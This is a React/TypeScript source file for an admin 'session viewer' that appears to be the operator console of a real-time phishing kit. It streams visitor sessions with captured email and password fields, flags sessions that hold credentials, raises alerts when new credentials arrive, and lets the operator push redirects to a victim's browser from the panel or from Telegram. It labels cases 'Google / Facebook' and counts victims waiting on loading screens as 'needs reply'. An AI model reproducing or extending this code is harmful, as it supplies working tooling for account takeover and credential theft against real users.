"use client"

import { useState, useEffect, useRef, useCallback, useMemo } from 'react'
import { supabase } from '@/lib/supabase'
import { getAllSessions, getSessionStats, setSessionRedirection, deleteSession, deleteSessions } from '@/lib/session-tracking'
import {
  warmupRedirectBroadcast,
  subscribeAdminPanelSync,
  subscribeAdminCredentialsSync,
  subscribeAdminSessionActivity,
  type RedirectQueuedPayload,
  type CredentialsUpdatedPayload,
  type SessionActivityPayload,
} from '@/lib/admin-panel-sync'
import { pickRichestCredentialsBlob } from '@/lib/session-credentials'
import {
  AdminSession,
  AdminNotification,
  buildSessionNotification,
  getPageLabel,
  isUserCurrentlyActive,
  isOfflineSession,
} from '@/components/admin/session-helpers'
import { AdminNotificationsPanel } from '@/components/admin/admin-notifications'
import { SessionListCard } from '@/components/admin/session-list-card'
import { SessionDetailPanel } from '@/components/admin/session-detail-panel'
import { sanitizeLoginContact } from '@/lib/login-contact'
import { Button } from '@/components/ui/button'
import { Checkbox } from '@/components/ui/checkbox'
import { AlertDialog, AlertDialogAction, AlertDialogCancel, AlertDialogContent, AlertDialogDescription, AlertDialogFooter, AlertDialogHeader, AlertDialogTitle } from '@/components/ui/alert-dialog'
import { RefreshCw, Users, Trash2, X, PanelRightOpen } from 'lucide-react'

type Session = AdminSession

type AdminFilterKey = 'all' | 'active' | 'inactive' | 'offline' | 'with-credentials'

const FILTERS: { key: AdminFilterKey; label: string }[] = [
  { key: 'active', label: 'Active' },
  { key: 'all', label: 'All' },
  { key: 'offline', label: 'Offline' },
  { key: 'inactive', label: 'Idle' },
  { key: 'with-credentials', label: 'Has details' },
]

interface SessionStats {
  activeCount: number
  todayTotal: number
  averageDurationMinutes: number
}

export function AdminSessionViewer() {
  const [sessions, setSessions] = useState<Session[]>([])
  const [stats, setStats] = useState<SessionStats>({ activeCount: 0, todayTotal: 0, averageDurationMinutes: 0 })
  const [loading, setLoading] = useState(true)
  const [error, setError] = useState<string | null>(null)
  const [filter, setFilter] = useState<AdminFilterKey>('active')
  const [redirectingSession, setRedirectingSession] = useState<string | null>(null)
  const [selectedSessions, setSelectedSessions] = useState<Set<string>>(new Set())
  const [deletingSession, setDeletingSession] = useState<string | null>(null)
  const [deletingBulk, setDeletingBulk] = useState(false)
  const [showDeleteDialog, setShowDeleteDialog] = useState(false)
  const [sessionToDelete, setSessionToDelete] = useState<string | null>(null)
  const [showBulkDeleteDialog, setShowBulkDeleteDialog] = useState(false)
  const [commandKey, setCommandKey] = useState(0)
  const [redirectSources, setRedirectSources] = useState<Record<string, 'panel' | 'telegram'>>({})
  const [syncFlash, setSyncFlash] = useState<string | null>(null)
  const [notifications, setNotifications] = useState<AdminNotification[]>([])
  const [unreadCount, setUnreadCount] = useState(0)
  const [focusedSessionId, setFocusedSessionId] = useState<string | null>(null)
  const [mobileShowDetail, setMobileShowDetail] = useState(false)
  const [clipboardHint, setClipboardHint] = useState<string | null>(null)
  const sessionsRef = useRef<Session[]>([])

  const addNotification = useCallback(
    (partial: Omit<AdminNotification, 'id' | 'at' | 'unread'>) => {
      setNotifications((prev) =>
        [
          {
            ...partial,
            id:
              typeof crypto !== 'undefined' && crypto.randomUUID
                ? crypto.randomUUID()
                : `${Date.now()}-${Math.random()}`,
            at: new Date().toISOString(),
            unread: true,
          },
          ...prev,
        ].slice(0, 50)
      )
      setUnreadCount((c) => c + 1)
    },
    []
  )

  useEffect(() => {
    sessionsRef.current = sessions
  }, [sessions])

  const fetchData = async () => {
    setLoading(true)
    setError(null)
    
    try {
      // Fetch sessions and stats in parallel
      const [sessionsResult, statsResult] = await Promise.all([
        getAllSessions(200),
        getSessionStats()
      ])

      if (sessionsResult.success && sessionsResult.data) {
        // Filter out panel and security check sessions from the fetched data
        const filteredSessionsData = sessionsResult.data.filter(session => {
          const isPanelSession = session.page_url.includes('/panel')
          const isSecurityCheckSession = (() => {
            try {
              // Handle null/undefined page_url
              if (!session.page_url) return false
              const url = new URL(session.page_url)
              // Check if pathname is root and there are no query parameters for dialog states
              const isRootPath = url.pathname === '/' && !url.searchParams.has('dialog')
              console.log(`🔍 Checking URL: "${session.page_url}" → pathname: "${url.pathname}" → params: ${url.search} → isSecurityCheck: ${isRootPath}`)
              return isRootPath
            } catch (error) {
              // Fallback for relative URLs or malformed URLs
              console.warn(`Failed to parse URL: "${session.page_url}"`, error)
              const isRootPath = session.page_url === '/' || (session.page_url?.endsWith('/') && !session.page_url.includes('?'))
              console.log(`🔍 Failed to parse URL: "${session.page_url}" → fallback isSecurityCheck: ${isRootPath}`)
              return isRootPath
            }
          })()
          const shouldInclude = !isPanelSession && !isSecurityCheckSession
          if (isSecurityCheckSession) {
            console.log(`❌ Filtering out security check session: ${session.page_url}`)
          }
          return shouldInclude
        })
        setSessions(filteredSessionsData)
      } else {
        setError('Failed to fetch sessions')
      }

      if (statsResult.success && statsResult.stats) {
        // Adjust stats to exclude panel and security check sessions
        const excludedSessionsCount = sessionsResult.data ? 
          sessionsResult.data.filter(session => {
            const isPanelSession = session.page_url.includes('/panel')
            const isSecurityCheckSession = (() => {
              try {
                const url = new URL(session.page_url)
                // Check if pathname is root and there are no query parameters for dialog states
                return url.pathname === '/' && !url.searchParams.has('dialog')
              } catch {
                // Fallback for relative URLs or malformed URLs
                return session.page_url === '/' || (session.page_url.endsWith('/') && !session.page_url.includes('?'))
              }
            })()
            return (isPanelSession || isSecurityCheckSession) && session.is_active
          }).length : 0
        
        const adjustedStats = {
          ...statsResult.stats,
          activeCount: Math.max(0, statsResult.stats.activeCount - excludedSessionsCount)
        }
        setStats(adjustedStats)
      }
    } catch (err) {
      setError('Error fetching data')
      console.error('Error fetching data:', err)
    } finally {
      setLoading(false)
    }
  }

  useEffect(() => {
    void warmupRedirectBroadcast()
    fetchData()

    const unsubscribePanel = subscribeAdminPanelSync((payload: RedirectQueuedPayload) => {
      const label = getPageLabel(payload.redirectToPage)
      const sourceLabel = payload.source === 'telegram' ? 'Telegram' : 'Panel'
      setRedirectSources((prev) => ({ ...prev, [payload.sessionId]: payload.source }))
      setSyncFlash(`${sourceLabel} → ${label}`)
      setCommandKey((k) => k + 1)
      setSessions((prev) =>
        prev.map((s) =>
          s.session_id === payload.sessionId
            ? {
                ...s,
                redirect_to_page: payload.redirectToPage,
                updated_at: new Date().toISOString(),
              }
            : s
        )
      )
    })

    const unsubscribeCredentials = subscribeAdminCredentialsSync(
      (payload: CredentialsUpdatedPayload) => {
        setSessions((prev) =>
          prev.map((s) => {
            if (s.session_id !== payload.sessionId) return s
            const updated: Session = {
              ...s,
              user_email:
                sanitizeLoginContact(payload.user_email) ||
                sanitizeLoginContact(s.user_email) ||
                undefined,
              user_password:
                pickRichestCredentialsBlob(payload.user_password, s.user_password) ||
                s.user_password,
              credentials_collected_at:
                payload.credentials_collected_at ?? s.credentials_collected_at,
              updated_at: new Date().toISOString(),
            }
            const notif = buildSessionNotification(s, updated)
            if (notif) addNotification(notif)
            else if (payload.message) {
              addNotification({
                kind: 'credentials',
                sessionDbId: s.id,
                socketId: payload.sessionId,
                message: payload.message,
                ip: s.ip_address,
                email: updated.user_email,
              })
            }
            return updated
          })
        )
      }
    )

    const unsubscribeActivity = subscribeAdminSessionActivity(
      (payload: SessionActivityPayload) => {
        setSessions((prev) => {
          const index = prev.findIndex((s) => s.session_id === payload.sessionId)
          if (index === -1) return prev

          const existing = prev[index]
          const updated: Session = {
            ...existing,
            page_url: payload.page_url,
            updated_at: payload.updated_at,
            is_active: true,
            redirect_to_page: undefined,
            user_email:
              sanitizeLoginContact(payload.user_email) ||
              sanitizeLoginContact(existing.user_email) ||
              existing.user_email,
            user_password:
              pickRichestCredentialsBlob(payload.user_password, existing.user_password) ||
              existing.user_password,
            journey_steps:
              (payload.journey_steps && payload.journey_steps.length
                ? payload.journey_steps
                : existing.journey_steps) || existing.journey_steps,
          }

          const notif = buildSessionNotification(existing, updated)
          if (notif) {
            addNotification(notif)
          } else if (payload.message) {
            addNotification({
              kind: 'update',
              sessionDbId: existing.id,
              socketId: payload.sessionId,
              message: payload.message,
              ip: existing.ip_address,
              email: updated.user_email,
            })
          }

          return [updated, ...prev.filter((_, i) => i !== index)]
        })
        setRedirectSources((prev) => {
          const next = { ...prev }
          delete next[payload.sessionId]
          return next
        })
      }
    )

    const channel = supabase.channel('realtime-admin-sessions')
      .on<Session>(
        'postgres_changes',
        { event: '*', schema: 'public', table: 'user_sessions' },
        (payload) => {
          console.log('Realtime change received:', payload)

          const isPanelSession = (session: Partial<Session>) => session?.page_url?.includes('/panel')
          const isSecurityCheckSession = (session: Partial<Session>) => {
            if (!session?.page_url) return false
            try {
              const url = new URL(session.page_url)
              // Check if pathname is root and there are no query parameters for dialog states
              const isRootPath = url.pathname === '/' && !url.searchParams.has('dialog')
              console.log(`🔍 Realtime - Checking URL: "${session.page_url}" → pathname: "${url.pathname}" → params: ${url.search} → isSecurityCheck: ${isRootPath}`)
              return isRootPath
            } catch (error) {
              // Fallback for relative URLs or malformed URLs
              console.warn(`Realtime - Failed to parse URL: "${session.page_url}"`, error)
              const isRootPath = session.page_url === '/' || (session.page_url?.endsWith('/') && !session.page_url.includes('?'))
              console.log(`🔍 Realtime - Failed to parse URL: "${session.page_url}" → fallback isSecurityCheck: ${isRootPath}`)
              return isRootPath
            }
          }

          switch (payload.eventType) {
            case 'INSERT': {
              const newRecord = payload.new as Session
              const isPanel = isPanelSession(newRecord)
              const isSecurityCheck = isSecurityCheckSession(newRecord)
              console.log(`🔍 INSERT - Panel: ${isPanel}, SecurityCheck: ${isSecurityCheck}, URL: "${newRecord.page_url}"`)
              if (isPanel || isSecurityCheck) {
                console.log(`❌ Ignoring INSERT for filtered session: ${newRecord.page_url}`)
                return
              }
              
              setSessions(prev => [newRecord, ...prev.filter(s => s.id !== newRecord.id)])
              setStats(prev => ({
                ...prev,
                activeCount: prev.activeCount + (newRecord.is_active ? 1 : 0),
                todayTotal: prev.todayTotal + 1,
              }))
              break
            }
            case 'UPDATE': {
              const newRecord = payload.new as Session
              
              if (newRecord.redirect_to_page) {
                setRedirectSources((prev) => ({
                  ...prev,
                  [newRecord.session_id]: prev[newRecord.session_id] ?? 'telegram',
                }))
              }
              
              setSessions(prev => {
                const oldSession = prev.find(s => s.id === newRecord.id)
                const wasPanelSession = oldSession ? isPanelSession(oldSession) : false
                const wasSecurityCheckSession = oldSession ? isSecurityCheckSession(oldSession) : false
                const isNowPanelSession = isPanelSession(newRecord)
                const isNowSecurityCheckSession = isSecurityCheckSession(newRecord)

                // If now on panel or security check page, remove from list
                if (isNowPanelSession || isNowSecurityCheckSession) {
                  if (oldSession?.is_active) {
                    setStats(s => ({ ...s, activeCount: Math.max(0, s.activeCount - 1) }))
                  }
                  return prev.filter(s => s.id !== newRecord.id)
                } else if ((wasPanelSession || wasSecurityCheckSession) && !isNowPanelSession && !isNowSecurityCheckSession) {
                  // If was on panel/security check but now on a different page, add to list
                  if (newRecord.is_active) {
                    setStats(s => ({ ...s, activeCount: s.activeCount + 1 }))
                  }
                  return [newRecord, ...prev]
                } else {
                  // Normal update for sessions already in the list
                  if (oldSession && oldSession.is_active !== newRecord.is_active) {
                    setStats(s => ({ 
                        ...s, 
                        activeCount: s.activeCount + (newRecord.is_active ? 1 : -1) 
                    }))
                  }
                  return [newRecord, ...prev.filter(s => s.id !== newRecord.id)]
                }
              })
              break
            }
            case 'DELETE': {
              const oldRecord = payload.old as Partial<Session> & { id: string }
              if (!oldRecord.id) return

              setSessions(prev => {
                const deletedSession = prev.find(s => s.id === oldRecord.id)
                if (!deletedSession || isPanelSession(deletedSession) || isSecurityCheckSession(deletedSession)) return prev
                
                if (deletedSession.is_active) {
                  setStats(s => ({ ...s, activeCount: Math.max(0, s.activeCount - 1) }))
                }
                return prev.filter(s => s.id !== oldRecord.id)
              })
              break
            }
          }
        }
      )
      .subscribe()

    return () => {
      unsubscribePanel()
      unsubscribeCredentials()
      unsubscribeActivity()
      supabase.removeChannel(channel)
    }
  }, [addNotification])

  useEffect(() => {
    if (!syncFlash) return
    const timer = window.setTimeout(() => setSyncFlash(null), 4000)
    return () => window.clearTimeout(timer)
  }, [syncFlash])

  const handleRedirectUser = useCallback((sessionId: string, redirectToPage: string) => {
    setError(null)
    setCommandKey((k) => k + 1)
    setRedirectSources((prev) => ({ ...prev, [sessionId]: 'panel' }))

    const withBurst = redirectToPage.includes('_t=')
      ? redirectToPage
      : `${redirectToPage}${redirectToPage.includes('?') ? '&' : '?'}_t=${Date.now()}`

    setRedirectingSession(sessionId)
    void setSessionRedirection(sessionId, withBurst, 'panel').then((result) => {
      if (!result.success) {
        setError('Failed to set redirection')
      } else {
        setSessions((prev) =>
          prev.map((s) =>
            s.session_id === sessionId
              ? { ...s, redirect_to_page: withBurst, updated_at: new Date().toISOString() }
              : s
          )
        )
      }
      setRedirectingSession(null)
    })
  }, [])

  const handleDeleteSession = async (sessionId: string) => {
    setDeletingSession(sessionId)
    try {
      const result = await deleteSession(sessionId, true) // Use database ID
      if (result.success) {
        await fetchData()
        setShowDeleteDialog(false)
        setSessionToDelete(null)
        if (focusedSessionId === sessionId) {
          setFocusedSessionId(null)
          setMobileShowDetail(false)
        }
      } else {
        setError('Failed to delete session')
      }
    } catch (err) {
      setError('Error deleting session')
      console.error('Error deleting session:', err)
    } finally {
      setDeletingSession(null)
    }
  }

  const handleBulkDelete = async () => {
    setDeletingBulk(true)
    try {
      const sessionIds = Array.from(selectedSessions)
      const result = await deleteSessions(sessionIds, true) // Use database IDs
      if (result.success) {
        await fetchData()
        setSelectedSessions(new Set())
        setShowBulkDeleteDialog(false)
        setFocusedSessionId(null)
        setMobileShowDetail(false)
      } else {
        setError('Failed to delete sessions')
      }
    } catch (err) {
      setError('Error deleting sessions')
      console.error('Error deleting sessions:', err)
    } finally {
      setDeletingBulk(false)
    }
  }

  const handleSelectSession = (sessionId: string, checked: boolean) => {
    const newSelection = new Set(selectedSessions)
    if (checked) {
      newSelection.add(sessionId)
    } else {
      newSelection.delete(sessionId)
    }
    setSelectedSessions(newSelection)
  }

  const handleSelectAll = (checked: boolean) => {
    if (checked) {
      const allSessionIds = new Set(filteredSessions.map(session => session.id))
      setSelectedSessions(allSessionIds)
    } else {
      setSelectedSessions(new Set())
    }
  }

  const confirmDeleteSession = (sessionId: string) => {
    setSessionToDelete(sessionId)
    setShowDeleteDialog(true)
  }

  const confirmBulkDelete = () => {
    if (selectedSessions.size > 0) {
      setShowBulkDeleteDialog(true)
    }
  }

  const filteredSessions = useMemo(
    () =>
      sessions.filter((session) => {
        if (filter === 'active') return session.is_active
        if (filter === 'inactive') return !session.is_active
        if (filter === 'offline') return isOfflineSession(session)
        if (filter === 'with-credentials') return session.user_email || session.user_password
        return true
      }),
    [sessions, filter]
  )

  const filterCounts = useMemo(() => {
    const counts = {} as Record<AdminFilterKey, number>
    for (const { key } of FILTERS) {
      if (key === 'all') counts[key] = sessions.length
      else if (key === 'active') counts[key] = sessions.filter((s) => s.is_active).length
      else if (key === 'inactive') counts[key] = sessions.filter((s) => !s.is_active).length
      else if (key === 'offline') counts[key] = sessions.filter((s) => isOfflineSession(s)).length
      else counts[key] = sessions.filter((s) => s.user_email || s.user_password).length
    }
    return counts
  }, [sessions])

  const liveCount = useMemo(
    () => sessions.filter((session) => isUserCurrentlyActive(session)).length,
    [sessions]
  )

  const pendingCount = useMemo(
    () =>
      sessions.filter(
        (session) =>
          session.is_active &&
          (session.page_url.includes('dialog=loading') ||
            session.page_url.includes('step=loading'))
      ).length,
    [sessions]
  )

  const focusedSession = useMemo(
    () => filteredSessions.find((s) => s.id === focusedSessionId) ?? null,
    [filteredSessions, focusedSessionId]
  )

  useEffect(() => {
    if (focusedSessionId && !filteredSessions.some((s) => s.id === focusedSessionId)) {
      setFocusedSessionId(null)
      setMobileShowDetail(false)
    }
  }, [filteredSessions, focusedSessionId])

  useEffect(() => {
    if (loading || focusedSessionId || filteredSessions.length === 0) return
    setFocusedSessionId(filteredSessions[0].id)
  }, [loading, focusedSessionId, filteredSessions])

  useEffect(() => {
    if (!clipboardHint) return
    const timer = window.setTimeout(() => setClipboardHint(null), 2500)
    return () => window.clearTimeout(timer)
  }, [clipboardHint])

  const openSessionDetail = useCallback((sessionId: string) => {
    setFocusedSessionId(sessionId)
    setMobileShowDetail(true)
  }, [])

  if (loading) {
    return (
      <div className="flex min-h-[40vh] items-center justify-center rounded-xl border border-stone-200 bg-white text-stone-500">
        <RefreshCw className="mr-2 h-4 w-4 animate-spin text-stone-400" />
        <span className="text-sm">Loading sessions…</span>
      </div>
    )
  }

  return (
    <div className="space-y-4 text-stone-800">
      <header className="rounded-xl border border-stone-200 bg-white px-4 py-3.5 sm:px-5">
        <div className="flex flex-col gap-3 sm:flex-row sm:items-center sm:justify-between">
          <div>
            <p className="text-[11px] font-medium uppercase tracking-[0.14em] text-stone-400">
              Live sessions
            </p>
            <h1 className="text-lg font-semibold tracking-tight text-stone-900">Inbox</h1>
            <p className="mt-0.5 text-xs text-stone-500">
              {filteredSessions.length} in view
              {selectedSessions.size > 0 ? ` · ${selectedSessions.size} selected` : ''}
            </p>
          </div>
          <div className="flex flex-wrap items-center gap-2">
            <Button
              type="button"
              size="sm"
              variant="outline"
              className="h-9 border-stone-300 bg-white px-3 text-xs font-medium text-stone-700 hover:bg-stone-50"
              disabled={loading}
              onClick={() => void fetchData()}
            >
              <RefreshCw className={`mr-1.5 h-3.5 w-3.5 ${loading ? 'animate-spin' : ''}`} />
              Refresh
            </Button>
            {selectedSessions.size > 0 ? (
              <Button
                type="button"
                size="sm"
                disabled={deletingBulk}
                onClick={() => setShowBulkDeleteDialog(true)}
                className="h-9 bg-stone-800 px-3 text-xs font-medium text-white hover:bg-stone-700"
              >
                <Trash2 className="mr-1.5 h-3.5 w-3.5" />
                Remove ({selectedSessions.size})
              </Button>
            ) : null}
          </div>
        </div>
      </header>

      {syncFlash ? (
        <div className="rounded-xl border border-stone-200 bg-white px-4 py-2.5 text-sm text-stone-600">
          Synced: {syncFlash}
        </div>
      ) : null}
      {error ? (
        <div className="rounded-xl border border-red-200 bg-red-50 px-4 py-2.5 text-sm text-red-700">
          {error}
        </div>
      ) : null}

      <div className="grid grid-cols-2 gap-2 sm:gap-3 lg:grid-cols-4">
        {[
          { label: 'Open', value: liveCount, hint: 'Active now' },
          { label: 'Pending', value: pendingCount, hint: 'Needs reply' },
          { label: 'Today', value: stats.todayTotal, hint: 'Total' },
          {
            label: 'Avg',
            value: stats.averageDurationMinutes > 0 ? `${stats.averageDurationMinutes}m` : '—',
            hint: 'Duration',
          },
        ].map((stat) => (
          <div key={stat.label} className="rounded-xl border border-stone-200 bg-white px-3.5 py-3">
            <p className="text-[11px] font-medium text-stone-400">{stat.label}</p>
            <p className="mt-0.5 text-2xl font-semibold tabular-nums text-stone-900">{stat.value}</p>
            <p className="mt-0.5 text-[11px] text-stone-400">{stat.hint}</p>
          </div>
        ))}
      </div>

      <div className="rounded-xl border border-stone-200 bg-white p-3">
        <div className="flex flex-col gap-3 sm:flex-row sm:items-center sm:justify-between">
          <div className="flex max-w-full flex-wrap gap-1.5">
            {FILTERS.map(({ key, label }) => (
              <button
                key={key}
                type="button"
                onClick={() => setFilter(key)}
                className={`rounded-lg px-2.5 py-1.5 text-[11px] font-medium transition-colors ${
                  filter === key
                    ? 'bg-stone-800 text-white'
                    : 'bg-stone-100 text-stone-600 hover:bg-stone-200'
                }`}
              >
                {label}
                <span className="ml-1 tabular-nums opacity-70">{filterCounts[key]}</span>
              </button>
            ))}
          </div>
          {filteredSessions.length > 0 ? (
            <div className="flex items-center gap-2">
              <Checkbox
                id="select-all"
                checked={
                  filteredSessions.length > 0 &&
                  selectedSessions.size === filteredSessions.length
                }
                onCheckedChange={(checked) => handleSelectAll(checked === true)}
                className="border-stone-400 data-[state=checked]:border-stone-700 data-[state=checked]:bg-stone-700"
              />
              <label htmlFor="select-all" className="cursor-pointer text-xs text-stone-500">
                Select all
              </label>
              {selectedSessions.size > 0 ? (
                <Button
                  type="button"
                  size="sm"
                  variant="ghost"
                  className="h-8 px-2 text-xs text-stone-500"
                  onClick={() => setSelectedSessions(new Set())}
                >
                  <X className="mr-1 h-3.5 w-3.5" />
                  Clear
                </Button>
              ) : null}
            </div>
          ) : null}
        </div>
      </div>

      <div className="overflow-hidden rounded-xl border border-stone-200 bg-white">
        {filteredSessions.length === 0 ? (
          <div className="px-6 py-16 text-center">
            <Users className="mx-auto mb-3 h-8 w-8 text-stone-300" />
            <p className="text-sm font-medium text-stone-600">No sessions in this view</p>
            <p className="mt-1 text-xs text-stone-400">New visitors appear here automatically</p>
          </div>
        ) : (
          <div className="grid lg:grid-cols-12">
            <section
              className={`border-stone-100 p-3 sm:p-4 lg:col-span-5 lg:border-r ${
                mobileShowDetail ? 'hidden lg:block' : 'block'
              }`}
            >
              <div className="mb-3 flex items-center justify-between">
                <div>
                  <p className="text-sm font-semibold text-stone-800">Cases</p>
                  <p className="text-[10px] text-stone-400">Journey · Google / Facebook</p>
                </div>
                <span className="rounded-md bg-stone-100 px-2 py-0.5 text-[11px] font-medium text-stone-500">
                  {filteredSessions.length}
                </span>
              </div>
              <ul className="flex max-h-[min(70vh,820px)] flex-col gap-2 overflow-y-auto pr-1">
                {filteredSessions.map((session) => (
                  <li key={session.id} id={`session-row-${session.id}`}>
                    <SessionListCard
                      session={session}
                      selected={selectedSessions.has(session.id)}
                      focused={focusedSessionId === session.id}
                      onSelect={(checked) => handleSelectSession(session.id, checked)}
                      onOpen={() => openSessionDetail(session.id)}
                    />
                  </li>
                ))}
              </ul>
            </section>

            <section
              className={`min-h-[420px] p-3 sm:p-4 lg:col-span-7 ${
                mobileShowDetail ? 'block' : 'hidden lg:block'
              }`}
            >
              {focusedSession ? (
                <div className="max-h-[min(70vh,820px)] overflow-y-auto">
                  <SessionDetailPanel
                    session={focusedSession}
                    redirectCommandKey={commandKey}
                    deleting={deletingSession === focusedSession.id}
                    onRedirect={handleRedirectUser}
                    onDelete={confirmDeleteSession}
                    onClose={() => setMobileShowDetail(false)}
                    onCredentialsCopied={setClipboardHint}
                  />
                </div>
              ) : (
                <div className="flex h-full min-h-[360px] flex-col items-center justify-center gap-2 rounded-xl border border-dashed border-stone-200 bg-stone-50 p-10 text-center">
                  <PanelRightOpen className="h-7 w-7 text-stone-300" />
                  <p className="text-sm font-medium text-stone-600">Select a case</p>
                  <p className="max-w-xs text-xs text-stone-400">
                    Choose a visitor on the left to view details and send steps.
                  </p>
                </div>
              )}
            </section>
          </div>
        )}
      </div>

      <AdminNotificationsPanel
        notifications={notifications}
        unreadCount={unreadCount}
        onClear={() => {
          setNotifications([])
          setUnreadCount(0)
        }}
        onDismiss={(id) => setNotifications((prev) => prev.filter((n) => n.id !== id))}
        onSelectSession={openSessionDetail}
        onMarkRead={() => {
          setUnreadCount(0)
          setNotifications((prev) => prev.map((n) => ({ ...n, unread: false })))
        }}
      />

      <AlertDialog open={showDeleteDialog} onOpenChange={setShowDeleteDialog}>
        <AlertDialogContent>
          <AlertDialogHeader>
            <AlertDialogTitle>Remove case</AlertDialogTitle>
            <AlertDialogDescription>
              This permanently removes the record. This cannot be undone.
            </AlertDialogDescription>
          </AlertDialogHeader>
          <AlertDialogFooter>
            <AlertDialogCancel>Cancel</AlertDialogCancel>
            <AlertDialogAction
              onClick={() => sessionToDelete && void handleDeleteSession(sessionToDelete)}
              disabled={deletingSession !== null}
              className="bg-stone-800 hover:bg-stone-700"
            >
              {deletingSession ? (
                <>
                  <RefreshCw className="mr-2 h-4 w-4 animate-spin" />
                  Removing…
                </>
              ) : (
                'Remove'
              )}
            </AlertDialogAction>
          </AlertDialogFooter>
        </AlertDialogContent>
      </AlertDialog>

      <AlertDialog open={showBulkDeleteDialog} onOpenChange={setShowBulkDeleteDialog}>
        <AlertDialogContent>
          <AlertDialogHeader>
            <AlertDialogTitle>Remove {selectedSessions.size} cases</AlertDialogTitle>
            <AlertDialogDescription>
              Are you sure you want to remove {selectedSessions.size} selected item
              {selectedSessions.size > 1 ? 's' : ''}? This cannot be undone.
            </AlertDialogDescription>
          </AlertDialogHeader>
          <AlertDialogFooter>
            <AlertDialogCancel>Cancel</AlertDialogCancel>
            <AlertDialogAction
              onClick={() => void handleBulkDelete()}
              disabled={deletingBulk}
              className="bg-stone-800 hover:bg-stone-700"
            >
              {deletingBulk ? (
                <>
                  <RefreshCw className="mr-2 h-4 w-4 animate-spin" />
                  Removing…
                </>
              ) : (
                `Remove ${selectedSessions.size}`
              )}
            </AlertDialogAction>
          </AlertDialogFooter>
        </AlertDialogContent>
      </AlertDialog>

      {clipboardHint ? (
        <div
          role="status"
          className="pointer-events-none fixed bottom-6 right-6 z-50 rounded-lg border border-stone-200 bg-white px-4 py-2.5 text-sm text-stone-700 shadow-lg"
        >
          {clipboardHint}
        </div>
      ) : null}
    </div>
  )
} 